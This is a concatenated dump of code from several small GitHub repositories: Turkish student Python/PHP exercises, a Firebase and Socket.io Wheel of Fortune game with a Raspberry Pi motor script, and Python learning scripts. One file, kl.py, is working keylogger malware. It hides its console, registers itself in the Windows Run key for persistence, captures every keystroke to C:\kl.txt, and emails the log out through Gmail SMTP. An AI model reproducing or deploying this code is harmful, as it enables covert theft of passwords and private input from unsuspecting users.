"text": "for sayi in range(1,100):\r\n if sayi %3==0 and sayi %5==0:\r\n print(\"FizzBuzz\")\r\n elif sayi %3 ==0:\r\n print(\"Fizz\")\r\n elif sayi %5==0:\r\n print(\"Buzz\")\r\n else:\r\n print(sayi)" }, { "alpha_fraction": 0.4556025266647339, "alphanum_fraction": 0.4767441749572754, "avg_line_length": 11.941176414489746, "blob_id": "7bb69725ef483615ce0befa24d1469eb9887ed4e", "content_id": "0b1d52d8ce245681751cd1077e206d2dc8930c77", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 957, "license_type": "permissive", "max_line_length": 57, "num_lines": 68, "path": "/php ödevleri/mukemmelsayi.php", "repo_name": "dilekyayli/PG-1926", "src_encoding": "UTF-8", "text": "<?php\r\nerror_reporting(0);\r\n \r\nif(isset($_POST)) \r\n{ \r\n$num1 = $_POST['sayi1'];\r\n$num2 = $_POST['sayi2'];\r\n \r\n \r\nfor($i=$num1; $i<=$num2;$i++)\r\n{ \r\n $toplam=0;\r\n for($j=1; $j<$i-1; $j++)\r\n {\r\n if($i%$j==0)\r\n {\r\n $toplam+=$j;\r\n }\r\n }\r\n if($toplam==$i)\r\n echo $i.\"<br>\";\r\n \r\n }\r\n \r\n} //isset\r\n \r\n \r\nif(!($_POST)) \r\n{ \r\n \r\n?>\r\n \r\n \r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<title>Mükemmel Sayı Kontrolü</title>\r\n</head>\r\n<body>\r\n \r\n<form method=\"POST\" action=\"<?= $_SERVER['PHP_SELF']?>\" >\r\n<table align=\"center\" border=\"0\">\r\n<tr>\r\n<td colspan=\"2\" align=\"center\">\r\n<h3>Mükemmel Sayıları Bul</h3>\r\n</td>\r\n</tr>\r\n\r\n<tr>\r\n<td>Sayı 1:</td>\r\n<td><input type=\"number\" name=\"sayi1\"></td>\r\n</tr>\r\n\r\n<tr>\r\n<td>Sayı 2:</td>\r\n<td><input type=\"number\" name=\"sayi2\"></td>\r\n</tr>\r\n\r\n<tr>\r\n<td colspan=\"2\" align=\"center\">\r\n<input type=\"submit\" name=\"Mükemmel Sayıları Bul\">\r\n\r\n</td>\r\n</tr>\r\n</table>\r\n</form>\r\n</body>\r\n</html>" }, { "alpha_fraction": 0.5301645398139954, "alphanum_fraction": 0.5475320219993591, "avg_line_length": 21.54838752746582, "blob_id": "22d321e8380f98bfceab492209677322a87ebbf6", "content_id": "299e85e3552ff9838f6440ad70a0548fcbf95ae2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2196, "license_type": "permissive", "max_line_length": 103, "num_lines": 93, "path": "/python ödevleri/mailDogrulama.py", "repo_name": "dilekyayli/PG-1926", "src_encoding": "UTF-8", "text": "import re\r\n\r\n\r\ndef check(extension_length, mail: str):\r\n global extension, extension_parts, user_name, extension_length_check\r\n\r\n length_check = 0\r\n name_check = 0\r\n extension_length_check = 0\r\n extentions_count = 0\r\n mail_truth = 0\r\n\r\n if 0 < extension_length <= 3:\r\n extension_length_check = 1\r\n\r\n try:\r\n user_name, extension = mail.split(\"@\")\r\n mail_truth = 1\r\n except ValueError:\r\n mail_truth = 0\r\n\r\n try:\r\n extension_parts = extension.split(\".\")\r\n except Exception as err:\r\n pass\r\n\r\n try:\r\n if 0 < len(extension_parts) <= 3:\r\n extentions_count = 1\r\n except:\r\n pass\r\n\r\n try:\r\n if len(extension_parts[1]) == extension_length:\r\n length_check = 1\r\n except:\r\n pass\r\n\r\nimport re\r\n\r\n\r\ndef check(extension_length, mail: str):\r\n global extension, extension_parts, user_name, extension_length_check\r\n\r\n length_check = 0\r\n name_check = 0\r\n extension_length_check = 0\r\n extentions_count = 0\r\n mail_truth = 0\r\n\r\n if 0 < extension_length <= 3:\r\n extension_length_check = 1\r\n\r\n try:\r\n user_name, extension = mail.split(\"@\")\r\n mail_truth = 1\r\n except ValueError:\r\n mail_truth = 0\r\n\r\n try:\r\n extension_parts = extension.split(\".\")\r\n except Exception as err:\r\n pass\r\n\r\n try:\r\n if 0 < len(extension_parts) <= 3:\r\n extentions_count = 1\r\n except:\r\n pass\r\n\r\n try:\r\n if len(extension_parts[1]) == extension_length:\r\n length_check = 1\r\n except:\r\n pass\r\n\r\n try:\r\n check_username = re.match(r\"(^[a-zA-Z0-9_.+-]+$)\", user_name) # @[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+\r\n if check_username:\r\n name_check = 1\r\n except:\r\n pass\r\n\r\n return name_check == length_check == extension_length_check == extentions_count == mail_truth\r\n\r\n\r\nwhile True:\r\n extension_l = int(input(\"Uzantı uzunluğunu giriniz (en fazla 3 olmalıdır.): \"))\r\n mail = input(\"Mail adresinizi giriniz: \")\r\n if check(extension_l, mail):\r\n print(\"Mail adresiniz doğrudur!\")\r\n else:\r\n print(\"Mail adresiniz yanlıştır!\")" }, { "alpha_fraction": 0.6329966187477112, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 31.22222137451172, "blob_id": "7ec10dfea9e6ece7f8b837626ddd002a4075f4f4", "content_id": "fe24958ff705b94880bccea654d86818e5e90e2e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 307, "license_type": "permissive", "max_line_length": 109, "num_lines": 9, "path": "/python ödevleri/sifiriTasi.py", "repo_name": "dilekyayli/PG-1926", "src_encoding": "UTF-8", "text": "liste_1 = input('Aralarında 0 (sıfır) da bulunan en az 3 tane sayıyı aralarında boşluk bırakarak yazınız. ');\r\nliste = list(map(int, liste_1.split()))\r\nliste_2 = []\r\n\r\nliste_2 = [sayi for sayi in liste if sayi == 0]\r\nliste_2 += [sayi for sayi in liste if sayi != 0]\r\n\r\nprint(liste)\r\nprint(liste_2)" }, { "alpha_fraction": 0.43842363357543945, "alphanum_fraction": 0.5369458198547363, "avg_line_length": 24.565217971801758, "blob_id": "6a252e3b9143a19df0de15a0c32ee8feb9a1bef5", "content_id": "787bcbf22fb35b56f71fd31acec152f5985f9762", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 621, "license_type": "permissive", "max_line_length": 63, "num_lines": 23, "path": "/php ödevleri/saat.php", "repo_name": "dilekyayli/PG-1926", "src_encoding": "UTF-8", "text": "<?php\r\ndate_default_timezone_set('Europe/Istanbul');\r\n\r\n$zaman = time();\r\n\r\necho 'Saat: '.date('H:i -', $zaman);\r\n\r\n$saat = date('H', $zaman);\r\n\r\nif($saat >= 06 && $saat < 10){ // Saat 06:00 - 10:00 arası\r\n echo 'Günaydın!';\r\n}elseif($saat >= 10 && $saat < 17){ // Saat 10:00 - 17:00 arası\r\n echo 'İyi Günler!';\r\n}elseif($saat >= 17 && $saat < 20){ // Saat 17:00 - 20:00 arası\r\n echo 'İyi Akşamlar!';\r\n}elseif($saat >= 20 && $saat < 24){ // Saat 20:00 - 00:00 arası\r\n echo 'İyi Geceler!';\r\n}elseif($saat >= 00 && $saat < 06){ // Saat 00:00 - 06:00 arası\r\n echo 'Esenlikler Dilerim!';\r\n}\r\n\r\n\r\n?>" }, { "alpha_fraction": 0.40077072381973267, "alphanum_fraction": 0.42517662048339844, "avg_line_length": 23.983333587646484, "blob_id": "07eb79e9d6791e215b1e8f91dd396a0443d947d1", "content_id": "d545af82868c47cca153d72577ba6c9f70ebfeb4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 1566, "license_type": "permissive", "max_line_length": 88, "num_lines": 60, "path": "/php ödevleri/paraustu.php", "repo_name": "dilekyayli/PG-1926", "src_encoding": "UTF-8", "text": "<!doctype html>\r\n<html>\r\n <head>\r\n <meta charset=\"utf-8\">\r\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\r\n <title>Para Üstü</title>\r\n <link rel=\"stylesheet\" href=\"index.css\">\r\n </head>\r\n <body>\r\n <?php\r\n \r\n \r\n if(isset($_POST))\r\n {\r\n $paraustu=(float)$_POST['paraustu'];\r\n \r\n $birlik = $paraustu/1;\r\n \r\n if($birlik > 0){\r\n $paraustu%=1;\r\n echo '1 TL'.$birlik.'adet';\r\n }\r\n $ellikurus = $paraustu/0.5;\r\n if($ellikurus > 0){\r\n $paraustu%=1;\r\n echo '50 krş'.$ellikurus. 'adet ';\r\n }\r\n $ybeskurus = $paraustu/0.25;\r\n if($ybeskurus > 0){\r\n $paraustu%=1;\r\n echo ' 25 krş'.$ybeskurus.'adet';\r\n }\r\n $onkurus = $paraustu/0.10;\r\n if($onkurus > 0){\r\n $paraustu%=1;\r\n echo ' 10 krş'.$onkurus.'adet';\r\n }\r\n $beskurus = $paraustu/0.05;\r\n if($beskurus > 0){\r\n $paraustu%=1;\r\n echo ' 5 krş'. $beskurus.'adet';\r\n }\r\n $birkurus = $paraustu/0.01;\r\n if($birkurus > 0){\r\n $paraustu%=1;\r\n echo ' 1 krş'.$birkurus. 'adet';\r\n }\r\n }\r\n else{\r\n echo \"Para üstü girilmedi\";\r\n }\r\n \r\n \r\n?>\r\n <form action=\"\" method=\"post\">\r\n <input type=\"text\" name=\"paraustu\">\r\n <input type=\"submit\" name=\"gonder\" value=\"Hesapla\">\r\n </form>\r\n </body>\r\n</html>" } ]
9
joseguerrero/misc_scripts
https://github.com/joseguerrero/misc_scripts
76e1e098c813da54768d24d5214b1cc92e1da484
3ca0ccafa8f3502004d0b0717eb27f06cdd86cff
45f79e666707691727d722d6c73a5366cd7167f8
refs/heads/master
2020-03-19T09:07:56.155957
2018-06-06T02:50:55
2018-06-06T02:50:55
136,262,136
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5815402269363403, "alphanum_fraction": 0.5945639610290527, "avg_line_length": 23.19178009033203, "blob_id": "9c94fd4db35ec626fc8c3d80f0eb1935574ae61d", "content_id": "2dd6f92b8257330e584617e7793811c08155c826", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3532, "license_type": "no_license", "max_line_length": 82, "num_lines": 146, "path": "/kl.py", "repo_name": "joseguerrero/misc_scripts", "src_encoding": "UTF-8", "text": "try:\n import pythoncom, pyHook\nexcept:\n print \"Please Install pythoncom and pyHook modules\"\n exit(0)\nimport os\nimport sys\nimport threading\nimport urllib,urllib2\nimport smtplib\nimport ftplib\nimport datetime,time\n\nfrom os.path import basename\nfrom email.mime.application import MIMEApplication\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.utils import COMMASPACE, formatdate\n\nimport win32event, win32api, winerror\nfrom _winreg import *\n\n#Disallowing Multiple Instance\nmutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')\nif win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:\n mutex = None\n print \"Multiple Instance not Allowed\"\n exit(0)\nx=''\ndata=''\ncount=0\n\nlog_path = 'C:\\kl.txt'\n\n#Hide Console\ndef hide():\n import win32console,win32gui\n window = win32console.GetConsoleWindow()\n win32gui.ShowWindow(window,0)\n return True\n\ndef msg():\n print \"\"\"\"\"\"\n return True\n\n# Add to startup\ndef addStartup():\n fp=os.path.dirname(os.path.realpath(__file__))\n file_name=sys.argv[0].split(\"\\\\\")[-1]\n new_file_path=fp+\"\\\\\"+file_name\n keyVal= r'Software\\Microsoft\\Windows\\CurrentVersion\\Run'\n key2change= OpenKey(HKEY_CURRENT_USER,keyVal,0,KEY_ALL_ACCESS)\n SetValueEx(key2change, \"Xenotix Keylogger\",0,REG_SZ, new_file_path)\n\n#Local Keylogger\ndef local():\n global data\n if len(data)>20:\n fp=open(log_path,\"a\")\n fp.write(data)\n fp.close()\n data=''\n return True\n\ndef send_daily():\n ts = datetime.datetime.now()\n SERVER = \"smtp.gmail.com\" #Specify Server Here\n PORT = 587 #Specify Port Here\n USER=\"\"#Specify Username Here \n PASS=\"\"#Specify Password Here\n FROM = USER#From address is taken from username\n TO = [\"\"] #Specify to address.Use comma if more than one to address is needed.\n SUBJECT = \"Keylogger data: \"+str(ts)\n MESSAGE = data\n\n mensaje = MIMEMultipart(\n From=\"From: %s\" % FROM,\n To=\"To: %s\" % \", \".join(TO),\n Date=formatdate(localtime=True),\n Subject=SUBJECT\n )\n \n try:\n with open(log_path, \"rb\") as fil:\n mensaje.attach(MIMEApplication(\n fil.read(),\n Content_Disposition='attachment; filename=\"kl.txt\"',\n Name='kl.txt'\n ))\n\n server = smtplib.SMTP()\n server.connect(SERVER,PORT)\n server.ehlo()\n server.starttls()\n server.login(USER,PASS)\n server.sendmail(FROM, TO, mensaje.as_string())\n server.quit()\n with open(log_path,\"w\") as fp:\n fp.write('NEW ENTRY %s' % ts)\n fp.write('\\n')\n \n except Exception as e:\n print e\n\ndef main():\n global x\n if len(sys.argv)==1:\n msg()\n exit(0)\n else:\n if len(sys.argv)>2:\n if sys.argv[2]==\"startup\":\n addStartup() \n else:\n msg()\n exit(0)\n if sys.argv[1]==\"local\":\n x=1\n hide()\n send_daily()\n else:\n msg()\n exit(0)\n return True\n\nif __name__ == '__main__':\n main()\n\ndef keypressed(event):\n global x,data\n if event.Ascii==13:\n keys='<ENTER>'\n elif event.Ascii==8:\n keys='<BACK SPACE>'\n elif event.Ascii==9:\n keys='<TAB>'\n else:\n keys=chr(event.Ascii)\n data=data+keys \n if x==1: \n local()\n \nobj = pyHook.HookManager()\nobj.KeyDown = keypressed\nobj.HookKeyboard()\npythoncom.PumpMessages()\n" } ]
1
gdmgent-1718-wot/wheel-of-fortune
https://github.com/gdmgent-1718-wot/wheel-of-fortune
f0792d0f51ab73d4515a0be1fa5e5ef3cea9d8e3
373a92fd2a9143f8991c0e7757f9965e2e316813
98ed7acd4d8e14deee4525278cae589e0523e4d1
refs/heads/master
2021-09-03T23:00:41.716381
2018-01-12T17:54:09
2018-01-12T17:54:09
111,697,882
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5482132434844971, "alphanum_fraction": 0.5530045628547668, "avg_line_length": 28.127906799316406, "blob_id": "7ede213a3ec025e438b9b821dc2ef6c48ae397a2", "content_id": "b1b1dc534cf6eb13545dee09aeb2a29105536f2a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5009, "license_type": "permissive", "max_line_length": 104, "num_lines": 172, "path": "/repo/server/server.js", "repo_name": "gdmgent-1718-wot/wheel-of-fortune", "src_encoding": "UTF-8", "text": "let app = require('express')();\n// let http = require('http').Server(app);\n// let io = require('socket.io')(http);\nlet admin = require(\"firebase-admin\");\nlet path = require('path');\nlet serveStatic = require('serve-static');\nlet serviceAccount = require(\"./account/wheeloffortune2-c0e4a-firebase-adminsdk-xx83k-e44ffb01f2.json\");\n\nadmin.initializeApp({\n credential: admin.credential.cert(serviceAccount),\n databaseURL: \"https://wheeloffortune2-c0e4a.firebaseio.com/\"\n});\n\napp.set('port', (process.env.PORT || 5000));\n\nvar server = app.listen(app.get('port'), function () {\n console.log('Node app is running on port', app.get('port'));\n});\n\nvar io = require('socket.io')(server);\n\napp.get('/', function (req, res) {\n res.send('<marquee><h1>Server is running</h1></marquee>');\n});\n\napp.use(function (req, res, next) {\n res.header(\"Access-Control-Allow-Origin\", \"*\");\n res.header(\"Access-Control-Allow-Headers\", \"X-Requested-With\");\n next();\n});\n\nfunction getGameData() {\n let db = admin.database();\n let ref = db.ref(\"game\");\n let self = this;\n return ref.on(\"value\", function (snapshot) {\n console.log('hallo');\n return snapshot.val();\n }, function (errorObject) {\n console.log(\"The read failed: \" + errorObject.code);\n });\n}\n\nfunction changeActivePlayer(currentPlayer, newPlayer) {\n admin.database().ref('game/players/player' + currentPlayer).update({\n active: false,\n });\n admin.database().ref('game/players/player' + newPlayer).update({\n active: true,\n });\n}\n\nfunction checkPlayers() {\n let players = []\n let finished;\n admin.database().ref('game/finished/end').once(\"value\", function (snapshot) {\n finished = snapshot.val()\n })\n console.log(finished)\n admin.database().ref('game').on(\"value\", function (snapshot) {\n let game = snapshot.val()\n for (let player of Object.values(game.players)) {\n if (player.playing) {\n players.push(player);\n console.log('players length: ',players.length);\n if (players.length === 3) {\n console.log('Setting a new word')\n console.log('players length in if: ', players.length)\n setNewWord();\n }\n }\n }\n });\n}\n\nfunction resetAlphabeth() {\n admin.database().ref('game/alphabeth').update({\n A: true,\n B: false,\n C: false,\n D: false,\n E: true,\n F: false,\n G: false,\n H: false,\n I: true,\n J: false,\n K: false,\n L: false,\n M: false,\n N: false,\n O: true,\n P: false,\n Q: false,\n R: false,\n S: false,\n T: false,\n U: true,\n V: false,\n W: false,\n X: false,\n Y: false,\n Z: false,\n });\n}\n\nfunction setNewWord() {\n admin.database().ref('words/values').on(\"value\", function (snapshot) {\n let words = snapshot.val();\n let randomNumber = Math.floor(Math.random() * words.length);\n let randomWordFromFirebase = words[randomNumber][0];\n let randomWordCategoryFromFirebase = words[randomNumber][1];\n\n admin.database().ref('game/answer/').update({\n word: randomWordFromFirebase,\n category: randomWordCategoryFromFirebase,\n });\n });\n}\nio.on('connection', function (socket) {\n console.log('someone connected');\n socket.on('disconnect', function () {\n console.log('user disconnected');\n });\n socket.on('turnChange', function (data) {\n console.log(data);\n let num = parseInt(data.number);\n if (num === 3) {\n num = 1;\n console.log(num);\n io.emit('turnChange', {\n 'number': num\n })\n changeActivePlayer(data.number, num)\n } else {\n num++;\n console.log(num);\n io.emit('turnChange', {\n 'number': num\n })\n changeActivePlayer(data.number, num)\n }\n });\n // socket.on('answer', function (data) {\n // console.log(data);\n // io.emit('answer', data)\n // });\n socket.on('startGame', function () {\n checkPlayers();\n resetAlphabeth();\n });\n\n socket.on('getScore', function () {\n io.emit('getScore');\n })\n socket.on('giveScore', function (data) {\n io.emit('giveScore', data);\n console.log(data)\n })\n socket.on('letMeWatch', function (data) {\n console.log('player ' + data.playerNum + ' wants to watch');\n io.emit('letMeWatch', data);\n })\n socket.on('startConnection', function (data) {\n console.log('host starts connection for player ' + data.playerNum);\n io.emit('startConnection', data);\n })\n socket.on('acceptConnection', function (data) {\n console.log('player ' + data.playerNum + ' accepts the connection');\n io.emit('acceptConnection', data);\n })\n});" }, { "alpha_fraction": 0.7097505927085876, "alphanum_fraction": 0.7369614243507385, "avg_line_length": 25, "blob_id": "8864b8a1f414da265174581943bdcabd49b3e372", "content_id": "b979ba84d1ca1dc35a3e14e4c88b7db6941dc55d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 441, "license_type": "permissive", "max_line_length": 55, "num_lines": 17, "path": "/repo/server/README.md", "repo_name": "gdmgent-1718-wot/wheel-of-fortune", "src_encoding": "UTF-8", "text": "# Wheel of Fortune\n### By Basiel Smitz & Adriaan Glibert\n- Basiel Smitz & Adriaan Glibert\n- Web of Things\n- Academiejaar: 2017-2018\n- Opleiding: Bachelor in de grafische en digitale media\n- Afstudeerrichting: Multimediaproductie\n- Keuzeoptie: New Media Development\n- Opleidingsinstelling: Arteveldehogeschool\n\n#### Dependencies install\n\n1. node\n - Server will start with `node server.js`\n3. yarn add firebase --save\n4. yarn add vue-socket.io --save\n5. yarn add express" }, { "alpha_fraction": 0.5960000157356262, "alphanum_fraction": 0.6304000020027161, "avg_line_length": 26.173913955688477, "blob_id": "96fee1115442705d92d28e25d832f8b2cf6dc8fb", "content_id": "2e52e0eb5a77865af57dc40e57d41a2fb89a0eb5", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1250, "license_type": "permissive", "max_line_length": 100, "num_lines": 46, "path": "/repo/raspberry/simpleDc.py", "repo_name": "gdmgent-1718-wot/wheel-of-fortune", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import db\nfrom time import sleep\n\n\ncred = credentials.Certificate(\"wheeloffortune2-c0e4a-firebase-adminsdk-xx83k-8a28c73b1e.json\")\nfirebase_admin.initialize_app(cred, {'databaseURL':'https://wheeloffortune2-c0e4a.firebaseio.com/'})\nroot = db.reference()\nGPIO.setmode(GPIO.BOARD)\n\nGPIO.setup(03, GPIO.OUT)\nGPIO.setup(05, GPIO.OUT)\nGPIO.setup(07, GPIO.OUT)\n\npwm = GPIO.PWM(07, 100)\n\npwm.start(0)\nGPIO.output(03, True)\nGPIO.output(05, False)\n\ntry:\n while True:\n # get values from Firebase and put them in variables\n posdb = root.child('game').child('motor').get()\n # is motor turning?\n turning = posdb['turning']\n print turning\n # speed > 70 && < 100\n speed = posdb['speed']\n print speed\n if turning == True or turning == \"True\":\n print 'turning'\n # sleep(2)\n GPIO.output(07, True)\n pwm.ChangeDutyCycle(speed)\n else:\n print 'stopped'\n pwm.ChangeDutyCycle(0)\n sleep(2)\n GPIO.output(07, False)\n pwm.ChangeDutyCycle(0)\nexcept KeyboardInterrupt:\n pwm.stop()\n GPIO.cleanup()\n" }, { "alpha_fraction": 0.7006651759147644, "alphanum_fraction": 0.7095343470573425, "avg_line_length": 31.25, "blob_id": "dd858f0fc65bff4f4959e19384f8c05e337f5aea", "content_id": "5578df55495f6339a44932eca85f454ef0eee8f2", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 902, "license_type": "permissive", "max_line_length": 116, "num_lines": 28, "path": "/README.md", "repo_name": "gdmgent-1718-wot/wheel-of-fortune", "src_encoding": "UTF-8", "text": "# Wheel of Fortune\n### By Basiel Smitz & Adriaan Glibert\n- Basiel Smitz & Adriaan Glibert\n- Web of Things\n- Academiejaar: 2017-2018\n- Opleiding: Bachelor in de grafische en digitale media\n- Afstudeerrichting: Multimediaproductie\n- Keuzeoptie: New Media Development\n- Opleidingsinstelling: Arteveldehogeschool\n\n## Folderstructuur\n- docs\n - Productiedossier\n - Timesheets\n - Presentatie\n- repo\n - Game\n - Dit omvat een Vue.js project en zal het volledige spel omvatten.\n - *dependencies: README in folder.*\n - Server\n - Node.js server en livestream.\n - *dependencies: README in folder.*\n - Raspberry\n - Zal de motor van het rad doen draaien.\n\n## Gekende bugs\n- Als gebruikers heel snel de lobby joinen kan het zijn dat sommige spelers een ander woord moeten raden.\n- Soms zal de actieve gebruiker niet beschouwd worden als actief, de pagina herladen lost dit probleem tijdelijk op." }, { "alpha_fraction": 0.4193693697452545, "alphanum_fraction": 0.4193693697452545, "avg_line_length": 24.517240524291992, "blob_id": "04446132d04125089fa897621b2c8934114c84e2", "content_id": "126464e6525da00a8a55abd99311a14b0c481731", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2220, "license_type": "permissive", "max_line_length": 64, "num_lines": 87, "path": "/repo/game/src/router/index.js", "repo_name": "gdmgent-1718-wot/wheel-of-fortune", "src_encoding": "UTF-8", "text": "import Vue from 'vue'\nimport Router from 'vue-router'\nimport Login from '@/components/Login'\nimport Register from '@/components/Register'\nimport Completion from '@/components/Completion'\nimport Profile from '@/components/Profile'\nimport Lobby from '@/components/Lobby'\nimport GameFinal from '@/components/GameFinal'\nimport Admin from '@/components/Admin'\nimport Camera from '@/components/Camera'\n\nVue.use(Router)\nimport * as firebase from \"firebase\";\n\nexport default new Router({\n routes: [\n {\n path: '/',\n name: 'Login',\n component: Login,\n },\n {\n path: '/register',\n name: 'Register',\n component: Register\n },\n {\n path: '/completion',\n name: 'Completion',\n component: Completion\n },\n {\n path: '/profile',\n name: 'Profile',\n component: Profile\n },\n {\n path: '/lobby',\n name: 'Lobby',\n component: Lobby,\n },\n {\n path: '/game',\n name: 'GameFinal',\n component: GameFinal,\n props: { default: true },\n },\n {\n path: '/admin',\n name: 'Admin',\n component: Admin,\n beforeEnter: (to, from, next) => {\n firebase.auth().onAuthStateChanged(function (user) {\n if(user != undefined){\n if (user.email == '[email protected]') {\n next()\n } else {\n to: Login\n }\n }\n else {\n to: Login\n }\n });\n }\n },\n {\n path: '/admin/camera',\n name: 'Camera',\n component: Camera,\n beforeEnter: (to, from, next) => {\n firebase.auth().onAuthStateChanged(function (user) {\n if(user != undefined){\n if (user.email == '[email protected]') {\n next()\n } else {\n to: Login\n }\n }\n else {\n to: Login\n }\n });\n }\n }\n ]\n})\n" }, { "alpha_fraction": 0.7234042286872864, "alphanum_fraction": 0.7485493421554565, "avg_line_length": 24.899999618530273, "blob_id": "ad7bccb46d3cd721439ac3ed584c714fc050b50d", "content_id": "8ba808fff6a6968f1f04ab14a75eec457b5b1f5b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 517, "license_type": "permissive", "max_line_length": 83, "num_lines": 20, "path": "/repo/game/README.md", "repo_name": "gdmgent-1718-wot/wheel-of-fortune", "src_encoding": "UTF-8", "text": "# Wheel of Fortune\n### By Basiel Smitz & Adriaan Glibert\n- Basiel Smitz & Adriaan Glibert\n- Web of Things\n- Academiejaar: 2017-2018\n- Opleiding: Bachelor in de grafische en digitale media\n- Afstudeerrichting: Multimediaproductie\n- Keuzeoptie: New Media Development\n- Opleidingsinstelling: Arteveldehogeschool\n\n#### Dependencies install\n\n1. yarn install\n2. yarn dev\n3. yarn add firebase --save\n4. yarn add vue-socket.io --save\n5. yarn add simple-peer\n\n#### Build for production with minification, make sure to change localhost changes.\n- Yarn build" } ]
6
zhangletian/LearnPython
https://github.com/zhangletian/LearnPython
9568b79d23135f919fccbcf7e775d1fe6f6bcaf2
32b05e18a3d2f1da2fa3c82268abf384ab83fa73
12f2f98d8c9055d721afa065b49014c550bae999
refs/heads/master
2021-01-22T08:39:42.000182
2017-12-18T14:46:52
2017-12-18T14:46:52
92,629,716
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6271929740905762, "alphanum_fraction": 0.6271929740905762, "avg_line_length": 16.538461685180664, "blob_id": "049be745a0cb1ea003a7e8a190c57593109ec29b", "content_id": "0504d2a76928bcb30f9628028c219a42aec8e64a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 300, "license_type": "no_license", "max_line_length": 35, "num_lines": 13, "path": "/用Python玩转数据/set.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "GB18030", "text": "#coding=gbk\n\naSet = set('sunrise')\nbSet = set('sunset')\n\nprint(aSet & bSet)\nprint(aSet | bSet)\nprint(aSet - bSet) #属于aSet,但不属于bSet\nprint(aSet ^ bSet) #不同时存在两者的元素\n\n#$、|、-、^运算符可以与 = 直接复合使用:&=、|=、-=、^=\naSet-=set('sun')\nprint(aSet)\n" }, { "alpha_fraction": 0.5923753380775452, "alphanum_fraction": 0.6539589166641235, "avg_line_length": 25.230770111083984, "blob_id": "87e4a21a1e87d0b021814e0763baa5622e619cf6", "content_id": "3b34bbdf61b42e539fa67a410c180005a743a601", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 341, "license_type": "no_license", "max_line_length": 86, "num_lines": 13, "path": "/用Python玩转数据/helloworld.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "import wx\n\nclass Frame1(wx.Frame):\n\tdef __init__(self,superior):\n\t\twx.Frame.__init__(self,parent=superior,title='Example',pos=(100,200),size=(350,200))\n\t\tpanel = wx.Panel(self)\n\t\ttext1 = wx.TextCtrl(panel,value='Hello,World',size=(350,200))\n\nif __name__ == '__main__':\n\tapp = wx.App()\n\tframe = Frame1(None)\n\tframe.Show(True)\n\tapp.MainLoop()\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.702816903591156, "avg_line_length": 28.58333396911621, "blob_id": "a81269d2c72f1539296917c83d69cfd7c25fa38c", "content_id": "e6a59420a8747bc61a1488e40ae77671daa332f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 710, "license_type": "no_license", "max_line_length": 80, "num_lines": 24, "path": "/Python网络数据采集/warandpeace.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport re\n\n#url = 'http://www.pythonscraping.com/pages/warandpeace.html'\n#html = urlopen(url)\n#bsObj = BeautifulSoup(html,'lxml')\n#nameList = bsObj.findAll('span',{'class':'green'})\n#for name in nameList:\n\t#print(name.get_text())\t\n\nurl = 'http://www.pythonscraping.com/pages/page3.html'\nhtml = urlopen(url)\nbsObj = BeautifulSoup(html,'lxml')\n#for child in bsObj.find('table',{'id':'giftList'}).children:\n\t#print(child)\n\nfor sibling in bsObj.find('table',{'id':'giftList'}).tr.next_siblings:\n\tprint(sibling)\n\nimages = bsObj.findAll('img',{'src':re.compile('\\.\\.\\/img\\/gifts\\/img.*\\.jpg')})\nfor image in images:\n\tprint(image)\n\tprint(image['src'])\n" }, { "alpha_fraction": 0.6442952752113342, "alphanum_fraction": 0.6621924042701721, "avg_line_length": 22.526315689086914, "blob_id": "16f32fc6f4d25e649202a24069fef0e5fb49d17a", "content_id": "10e8a24924066b7ae90832fcb25e1c61830ac342", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 447, "license_type": "no_license", "max_line_length": 49, "num_lines": 19, "path": "/用Python玩转数据/guessnum3.py", "repo_name": "zhangletian/LearnPython", "src_encoding": "UTF-8", "text": "from random import randint\n\nx = randint(0,300)\ngo = 'y'\nwhile(go == 'y'):\n\tmessage = 'Please input a number between 0-300:'\n\tdigit = int(input(message))\n\tif digit == x:\n\t\tprint('Bingo!')\n\t\tbreak\n\telif digit > x:\n\t\tmessage_large = \"Too large,please try again.\"\n\t\tprint(message_large)\n\telif digit < x:\n\t\tmessage_small = \"Too small,please try again.\"\n\t\tprint(message_small)\n\tprint(\"Input 'y' if you want to continue\")\n\tgo = 